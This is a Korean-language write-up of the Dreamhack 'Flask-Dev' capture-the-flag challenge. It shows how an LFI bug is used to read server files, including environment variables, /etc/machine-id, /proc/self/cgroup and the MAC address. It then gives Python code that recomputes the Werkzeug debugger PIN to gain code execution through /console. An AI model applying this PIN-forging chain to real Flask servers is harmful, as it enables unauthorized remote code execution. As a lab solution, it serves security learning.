LEVEL 4: Flask-Dev

https://dreamhack.io/wargame/challenges/74

환경


  • Python 3.8.5 버전의 Flask로 구성된 웹 서버.
  • 기본 페이지[/]는 “Hello !”만을 출력하고 아무런 기능을 하지 않음.
  • [/{파일 이름}] 형식으로 파일을 불러와 읽을 수 있음.


접근


  • 파일을 읽을 수 있는 기능이 존재하여, LFI 취약점을 이용할 것이라 예상된다.
  • /flag 파일을 실행하고 출력 값에 플래그가 존재한다.


풀이


  • 아래 이미지와 같이 debug 모드를 활성화해 생긴 취약점이다. 해당 설정으로 인해 [/console] 접근 시, werkzeug 디버그 콘솔에 접근하여 PIN 번호를 입력 후 Python 명령을 실행하여 RCE로 이어진다.
  • PIN 번호는 서버의 정보를 기반으로 PIN 번호 생성 알고리즘을 통해 생성된다. 해당 번호를 생성하기 위한 정보 수집은 [/] 페이지에 존재하는 LFI 취약점을 통해 수집할 수 있다.


플래그 획득 과정


/console 페이지에 접속하면 PIN 번호를 요구한다. 나의 목표는 알맞은 PIN 번호를 생성하고, 서버에서 Python 코드를 실행하는 것이다.


해당 서버의 /usr/local/lib/python3.8/site-packages/werkzeug/debug/__init__.py을 확인한다. 웹 브라우저에서 경로를 조작하더라도 경로 정규화 후에 서버에 요청을 전송하므로, Burp Suite를 통해 요청을 전송한다.

[Response]의 username, modname, getattr 두 개, str(uuid.getnode()), get_machine_id()는 PIN 코드를 생성하기 위해 필요한 정보들이다. 해당 정보들을 LFI를 이용해서 수집한다.


username은 해당 서버를 실행한 사용자의 이름이다. 환경 변수 정보를 수집하여 알아낼 수 있다.


modname, getattr 두 개는 아래의 코드를 실행하여 알아낼 수 있다. 나는 python 3.8.5를 Windows에 설치하여 출력 값이 Windows 기준으로 나왔다. 이후에 사용할 때는 리눅스 경로에 맞게 수정해서 사용하면 된다.

import flask
import sys

app = flask.Flask(__name__)
modname = app.__module__
mod = sys.modules.get(modname)

print(f"   modname: {app.__module__}")
print(f"3번째 인자: {getattr(app, '__name__', getattr(app.__class__, '__name__'))}")
print(f"4번째 인자: {getattr(mod, '__file__', None)}")


str(uuid.getnode())는 MAC 주소를 정수화한 값이다. MAC 주소는 /sys/class/net/{네트워크 인터페이스 이름}/address에서 확인할 수 있다.


get_machine_id()는 [/etc/machine-id] 내용과 [/proc/self/cgroup] 내용을 합친 값이다. 자세한건 소스 코드를 분석하면 되므로 여기서는 간략하게만 소개한다. [/etc/machine-id] 한 라인을 읽고 {value}에 저장및 {linux} 변수에 문자열을 추가하고 for문 탈출, [/proc/self/cgroup] 한 라인에서 “/”를 기준으로 세 번째 column을 {linux} 변수에 문자열을 추가하고, {linux}에 저장된 문자열을 리턴한다.


6개의 필요한 정보들을 모두 수집했으므로 PIN 코드를 생성한다. 아래의 코드는 PIN 코드를 생성하는 알고리즘이다. 정보들을 알맞은 곳에 문자열로 수정해서 실행하면 PIN 코드를 생성한다.

import hashlib
from itertools import chain

probably_public_bits = [
    username,
    modname,
    getattr(app, "__name__", app.__class__.__name__),
    getattr(mod, "__file__", None),
]

private_bits = [
    str(uuid.getnode()),
    get_machine_id(),
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode("utf-8")
    h.update(bit)
h.update(b"cookiesalt")

cookie_name = "__wzd" + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b"pinsalt")
    num = ("%09d" % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = "-".join(
                num[x : x + group_size].rjust(group_size, "0")
                for x in range(0, len(num), group_size)
            )
            break
    else:
        rv = num

print(rv)


[/console] 페이지에서 PIN 입력 후 python 명령을 실행할 수 있다. 이것으로 [/flag] 파일을 실행하고 출력 결과를 확인하면 플래그를 획득할 수 있다.


참고 자료


https://ind2x.github.io/posts/flask_debugger_true_exploit_rce/

https://book.hacktricks.wiki/ko/network-services-pentesting/pentesting-web/werkzeug.html?highlight=werkz#werkzeug-console-pin-exploit

Published by